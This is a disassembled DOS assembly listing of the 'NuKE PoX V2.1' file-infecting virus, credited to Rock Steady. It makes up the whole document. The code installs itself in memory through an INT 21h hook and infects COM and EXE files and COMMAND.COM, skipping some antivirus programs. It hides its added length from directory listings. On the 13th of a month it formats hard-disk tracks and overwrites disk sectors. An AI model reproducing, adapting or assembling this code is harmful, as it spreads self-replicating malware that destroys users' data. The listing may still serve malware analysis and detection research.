PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ NPOX21 ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 28-Sep-92 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: none ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 16h data_2e equ 3 ;* data_32e equ 103h ;* data_33e equ 1 ;* seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h npox21 proc far start: jmp short $+3 ; delay for I/O nop call sub_1 npox21 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near pop bp sub bp,106h push ax push bx push cx push dx push si push di push bp push es push ds mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dh=month ; dl=day, al=day-of-week 0=SUN cmp dl,0Dh je loc_2 ; Jump if equal jmp short loc_5 db 90h loc_2: mov ch,0 locloop_3: mov ah,5 mov dh,0 mov dl,80h int 13h ; Disk dl=drive 0 ah=func 05h ; format track=ch or cylindr=cx ; al=interleave, dh=head inc ch jc loc_4 ; Jump if carry Set cmp ch,10h loopnz locloop_3 ; Loop if zf=0, cx>0 loc_4: mov al,2 mov cx,20h mov dx,0 int 26h ; Absolute disk write, drive al ; if disk under 32MB, dx=start ; cx=#sectors, ds:bx=buffer ; else cx=-1, ds:dx=parm block ;* jmp far ptr loc_66 ;* db 0EAh,0F0h,0FFh,0FFh,0FFh loc_5: mov ax,0ABDCh int 21h ; ??INT Non-standard interrupt cmp bx,0ABDCh je loc_6 ; Jump if equal push cs pop ds mov cx,es mov ax,3521h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov word ptr cs:data_10+2[bp],es mov cs:data_10[bp],bx dec cx mov es,cx mov bx,es:data_2e mov dx,696h mov cl,4 shr dx,cl ; Shift w/zeros fill add dx,4 mov cx,es sub bx,dx inc cx mov es,cx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change memory allocation ; bx=bytes/16, es=mem segment jc loc_6 ; Jump if carry Set mov ah,48h ; 'H' dec dx mov bx,dx int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 jc loc_6 ; Jump if carry Set dec ax mov es,ax mov cx,8 mov es:data_33e,cx sub ax,0Fh mov di,data_32e mov es,ax mov si,bp add si,103h mov cx,696h cld ; Clear direction repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] mov ax,2521h ;* mov dx,offset loc_65 ;* db 0BAh, 8Eh, 02h push es pop ds int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx loc_6: push cs pop ds cmp cs:data_21[bp],5A4Dh je loc_7 ; Jump if equal mov bx,offset data_21 add bx,bp mov ax,[bx] mov word ptr ds:[100h],ax inc bx inc bx mov al,[bx] mov byte ptr ds:[102h],al pop ds pop es pop bp pop di pop si pop dx pop cx pop bx pop ax mov ax,offset start push ax retn db 'Death to Separatist' db 0 loc_7: mov bx,word ptr cs:data_12[bp] mov dx,cs sub dx,bx mov ax,dx add ax,cs:data_14[bp] add dx,cs:data_16[bp] mov bx,cs:data_13[bp] mov word ptr cs:[236h][bp],bx mov word ptr cs:[238h][bp],ax mov ax,cs:data_13[bp] mov word ptr cs:[22Ch][bp],dx mov word ptr cs:[232h][bp],ax pop ds pop es pop bp pop di pop si pop dx pop cx pop bx pop ax mov ax,0 cli ; Disable interrupts mov ss,ax mov sp,0 sti ; Enable interrupts ;* jmp far ptr loc_1 ;* sub_1 endp db 0EAh, 00h, 00h, 00h, 00h loc_8: call sub_2 test al,al jnz loc_ret_15 ; Jump if not zero push ax push bx push es mov ah,51h ; 'Q' int 21h ; DOS Services ah=function 51h ; get active PSP segment in bx ;* undocumented function mov es,bx cmp bx,es:data_1e jne loc_14 ; Jump if not equal mov bx,dx mov al,[bx] push ax mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx pop ax inc al jnz loc_13 ; Jump if not zero add bx,7 loc_13: mov ax,es:[bx+17h] and ax,1Fh cmp al,1Eh jne loc_14 ; Jump if not equal and byte ptr es:[bx+17h],0E0h sub word ptr es:[bx+1Dh],696h sbb word ptr es:[bx+1Fh],0 loc_14: pop es pop bx pop ax loc_ret_15: iret ; Interrupt return ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near pushf ; Push flags call dword ptr cs:data_10 retn sub_2 endp db 0EBh,0B0h data_10 dw 0, 0 ; Data table (indexed access) db 80h,0FCh, 11h, 74h,0F5h, 80h db 0FCh, 12h, 74h,0F0h, 3Dh, 00h db 4Bh, 74h, 27h, 80h,0FCh, 3Dh db 74h, 12h, 80h,0FCh, 3Eh, 74h db 15h, 3Dh,0DCh,0ABh, 75h, 02h db 8Bh,0D8h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near jmp dword ptr cs:data_10 db 0CBh db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh db 8Ah, 02h db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh db 8Ah, 02h db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h db 51h, 52h, 1Eh,0E8h, 00h, 03h db 0E8h, 82h, 02h, 72h, 1Eh,0B8h db 00h, 43h,0E8h,0A0h,0FFh, 72h db 16h,0F6h,0C1h, 01h, 74h, 0Bh db 80h,0E1h,0FEh,0B8h, 01h, 43h db 0E8h, 90h,0FFh db 72h, 66h loc_21: mov ax,3D02h call sub_2 loc_22: jc loc_24 ; Jump if carry Set mov bx,ax call sub_12 jz loc_24 ; Jump if zero push cs pop ds mov data_18,cx mov data_19,dx mov ah,3Fh ; '?' mov cx,1Bh mov dx,77Eh call sub_2 jc loc_23 ; Jump if carry Set mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_2 jc loc_23 ; Jump if carry Set cmp data_21,5A4Dh je loc_25 ; Jump if equal mov cx,ax sub cx,3 mov data_20,cx call sub_6 jc loc_24 ; Jump if carry Set mov ah,40h ; '@' mov dx,760h mov cx,3 call sub_2 loc_23: mov cx,data_18 mov dx,data_19 mov ax,5701h call sub_2 mov ah,3Eh ; '>' call sub_2 loc_24: pop ds pop dx pop cx pop bx pop ax iret ; Interrupt return loc_25: call sub_15 jc loc_24 ; Jump if carry Set call sub_16 call sub_13 jmp short loc_23 sub_3 endp data_12 db 0, 0 ; Data table (indexed access) data_13 dw 0 ; Data table (indexed access) data_14 dw 0 ; Data table (indexed access) data_15 dw 0 data_16 dw 0 ; Data table (indexed access) ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near call sub_8 jnc loc_26 ; Jump if carry=0 call sub_9 jnc loc_26 ; Jump if carry=0 retn loc_26: push ax mov ax,3D02h call sub_2 jnc loc_27 ; Jump if carry=0 pop ax iret ; Interrupt return loc_27: push bx push cx push dx push ds mov bx,ax call sub_12 jnz loc_28 ; Jump if not zero call sub_17 loc_28: pop ds pop dx pop cx pop bx pop ax retn sub_4 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near cmp bx,0 je loc_ret_29 ; Jump if equal cmp bx,5 ja loc_30 ; Jump if above loc_ret_29: retn loc_30: push ax push bx push cx push dx push di push ds push es push bp push bx mov ax,1220h int 2Fh ; DOS Internal services ;* undocumented function mov ax,1216h mov bl,es:[di] int 2Fh ; DOS Internal services ;* undocumented function pop bx add di,11h mov byte ptr es:[di-0Fh],2 add di,17h cmp word ptr es:[di],4F43h jne loc_31 ; Jump if not equal cmp byte ptr es:[di+2],4Dh ; 'M' jne loc_34 ; Jump if not equal jmp short loc_35 db 90h loc_31: cmp word ptr es:[di],5845h jne loc_34 ; Jump if not equal cmp byte ptr es:[di+2],45h ; 'E' jne loc_34 ; Jump if not equal cmp word ptr es:[di-8],4353h jne loc_32 ; Jump if not equal cmp word ptr es:[di-6],4E41h je loc_34 ; Jump if equal loc_32: cmp word ptr es:[di-8],2D46h jne loc_33 ; Jump if not equal cmp word ptr es:[di-6],5250h je loc_34 ; Jump if equal loc_33: cmp word ptr es:[di-8],4C43h jne loc_35 ; Jump if not equal cmp word ptr es:[di-6],4145h jne loc_35 ; Jump if not equal loc_34: jmp short loc_37 db 90h loc_35: call sub_12 jz loc_37 ; Jump if zero push cs pop ds mov data_18,cx mov data_19,dx mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_2 mov ah,3Fh ; '?' mov cx,1Bh mov dx,77Eh call sub_2 jc loc_36 ; Jump if carry Set mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_2 jc loc_36 ; Jump if carry Set cmp data_21,5A4Dh je loc_38 ; Jump if equal mov cx,ax sub cx,3 mov data_20,cx call sub_6 jc loc_36 ; Jump if carry Set mov ah,40h ; '@' mov dx,760h mov cx,3 call sub_2 loc_36: mov cx,data_18 mov dx,data_19 mov ax,5701h call sub_2 loc_37: pop bp pop es pop ds pop di pop dx pop cx pop bx pop ax retn loc_38: call sub_15 jc loc_36 ; Jump if carry Set call sub_16 call sub_13 jmp short loc_36 sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near mov ah,40h ; '@' mov dx,103h mov cx,696h call sub_2 jc loc_39 ; Jump if carry Set mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_2 jc loc_39 ; Jump if carry Set clc ; Clear carry flag retn loc_39: stc ; Set carry flag retn sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near push ax push bx push cx push dx push ds mov ax,4300h call sub_2 test cl,1 jz loc_40 ; Jump if zero and cl,0FEh mov ax,4301h call sub_2 jc loc_41 ; Jump if carry Set loc_40: mov ax,3D02h call sub_2 jc loc_41 ; Jump if carry Set mov bx,ax call sub_12 jnz loc_41 ; Jump if not zero call sub_17 loc_41: pop ds pop dx pop cx pop bx pop ax retn sub_7 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near push si push cx mov si,dx mov cx,256h locloop_42: cmp byte ptr [si],2Eh ; '.' je loc_43 ; Jump if equal inc si loop locloop_42 ; Loop if cx > 0 loc_43: cmp word ptr [si+1],4F43h jne loc_44 ; Jump if not equal cmp byte ptr [si+3],4Dh ; 'M' je loc_46 ; Jump if equal loc_44: cmp word ptr [si+1],6F63h jne loc_45 ; Jump if not equal cmp byte ptr [si+3],6Dh ; 'm' je loc_46 ; Jump if equal loc_45: pop cx pop si stc ; Set carry flag retn loc_46: pop cx pop si clc ; Clear carry flag retn sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near push si push cx mov si,dx mov cx,256h locloop_47: cmp byte ptr [si],2Eh ; '.' je loc_48 ; Jump if equal inc si loop locloop_47 ; Loop if cx > 0 loc_48: cmp word ptr [si+1],5845h jne loc_49 ; Jump if not equal cmp byte ptr [si+3],45h ; 'E' je loc_51 ; Jump if equal loc_49: cmp word ptr [si+1],7865h jne loc_50 ; Jump if not equal cmp byte ptr [si+3],65h ; 'e' je loc_51 ; Jump if equal loc_50: pop cx pop si stc ; Set carry flag retn loc_51: pop cx pop si clc ; Clear carry flag retn sub_9 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near push bx push cx mov cl,0Ch shl dx,cl ; Shift w/zeros fill xchg ax,bx mov cl,4 shr bx,cl ; Shift w/zeros fill and ax,0Fh add dx,bx pop cx pop bx retn sub_10 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_11 proc near push si push cx mov si,dx mov cx,256h locloop_52: cmp byte ptr [si],2Eh ; '.' je loc_53 ; Jump if equal inc si loop locloop_52 ; Loop if cx > 0 loc_53: cmp word ptr [si-2],4E41h jne loc_54 ; Jump if not equal cmp word ptr [si-4],4353h je loc_57 ; Jump if equal loc_54: cmp word ptr [si-2],4E41h jne loc_55 ; Jump if not equal cmp word ptr [si-4],454Ch je loc_57 ; Jump if equal loc_55: cmp word ptr [si-2],544Fh jne loc_56 ; Jump if not equal cmp word ptr [si-4],5250h je loc_57 ; Jump if equal loc_56: pop cx pop si clc ; Clear carry flag retn loc_57: pop cx pop si stc ; Set carry flag retn sub_11 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_12 proc near mov ax,5700h call sub_2 mov al,cl or cl,1Fh dec cx xor al,cl retn sub_12 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_13 proc near push bx push cx mov cl,7 shl dx,cl ; Shift w/zeros fill mov bx,ax mov cl,9 shr bx,cl ; Shift w/zeros fill add dx,bx and ax,1FFh jz loc_58 ; Jump if zero inc dx loc_58: pop cx pop bx mov cs:data_22,ax mov cs:data_24,dx mov ah,40h ; '@' mov dx,77Eh mov cx,1Bh call sub_2 retn sub_13 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_14 proc near pushf ; Push flags push ax push bx push cx push dx push ds push es push ss push sp push cs pop ds mov dx,74Bh mov ax,4300h call sub_2 jc loc_60 ; Jump if carry Set test cl,1 jz loc_59 ; Jump if zero and cl,0FEh mov ax,4301h call sub_2 jc loc_62 ; Jump if carry Set loc_59: mov ax,3D02h call sub_2 loc_60: jc loc_62 ; Jump if carry Set mov bx,ax call sub_12 jz loc_62 ; Jump if zero mov data_18,cx mov data_19,dx mov ah,3Fh ; '?' mov cx,3 mov dx,77Eh call sub_2 jc loc_61 ; Jump if carry Set mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_2 jc loc_62 ; Jump if carry Set mov cx,ax sub cx,3 mov data_20,cx call sub_6 jc loc_62 ; Jump if carry Set mov ah,40h ; '@' mov dx,760h mov cx,3 call sub_2 loc_61: mov cx,data_18 mov dx,data_19 mov ax,5701h call sub_2 mov ah,3Eh ; '>' call sub_2 loc_62: pop sp pop ss pop es pop ds pop dx pop cx pop bx pop ax popf ; Pop flags retn sub_14 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_15 proc near mov cx,cs:data_28 mov cs:data_13,cx mov cx,cs:data_29 mov cs:data_14,cx mov cx,cs:data_27 mov cs:data_15,cx mov cx,cs:data_26 mov cs:data_16,cx push ax push dx call sub_10 sub dx,cs:data_25 mov word ptr cs:data_12,dx push ax push dx call sub_6 pop dx pop ax mov cs:data_29,dx mov cs:data_28,ax pop dx pop ax retn sub_15 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_16 proc near add ax,696h adc dx,0 push ax push dx call sub_10 sub dx,cs:data_25 add ax,40h mov cs:data_26,dx mov cs:data_27,ax pop dx pop ax retn sub_16 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_17 proc near dec cx mov cs:data_18,cx mov cs:data_19,dx mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_2 mov cx,dx mov dx,ax push cx push dx sub dx,1Bh sbb cx,0 mov ax,4200h call sub_2 push cs pop ds mov ah,3Fh ; '?' mov cx,1Bh mov dx,77Eh call sub_2 xor cx,cx ; Zero register xor dx,dx ; Zero register mov ax,4200h call sub_2 mov ah,40h ; '@' mov dx,77Eh mov cx,1Bh cmp cs:data_21,5A4Dh je loc_64 ; Jump if equal mov cx,3 loc_64: call sub_2 pop dx pop cx sub dx,696h sbb cx,0 mov ax,4200h call sub_2 mov ah,40h ; '@' xor cx,cx ; Zero register call sub_2 mov cx,cs:data_18 mov dx,cs:data_19 mov ax,5701h int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time mov ah,3Eh ; '>' call sub_2 retn sub_17 endp db 'C:\COMMAND.COM' db 0 data_18 dw 0 data_19 dw 0 db 00h, 00h,0E9h data_20 dw 9090h db 'NuKE PoX V2.1 - Rock Steady' data_21 dw 0CD90h ; Data table (indexed access) data_22 dw 20h data_24 dw 0 db 0, 0 data_25 dw 0 db 0, 0, 0, 0 data_26 dw 0 data_27 dw 0 db 0, 0 data_28 dw 0 data_29 dw 0 db 0, 0, 0 seg_a ends end start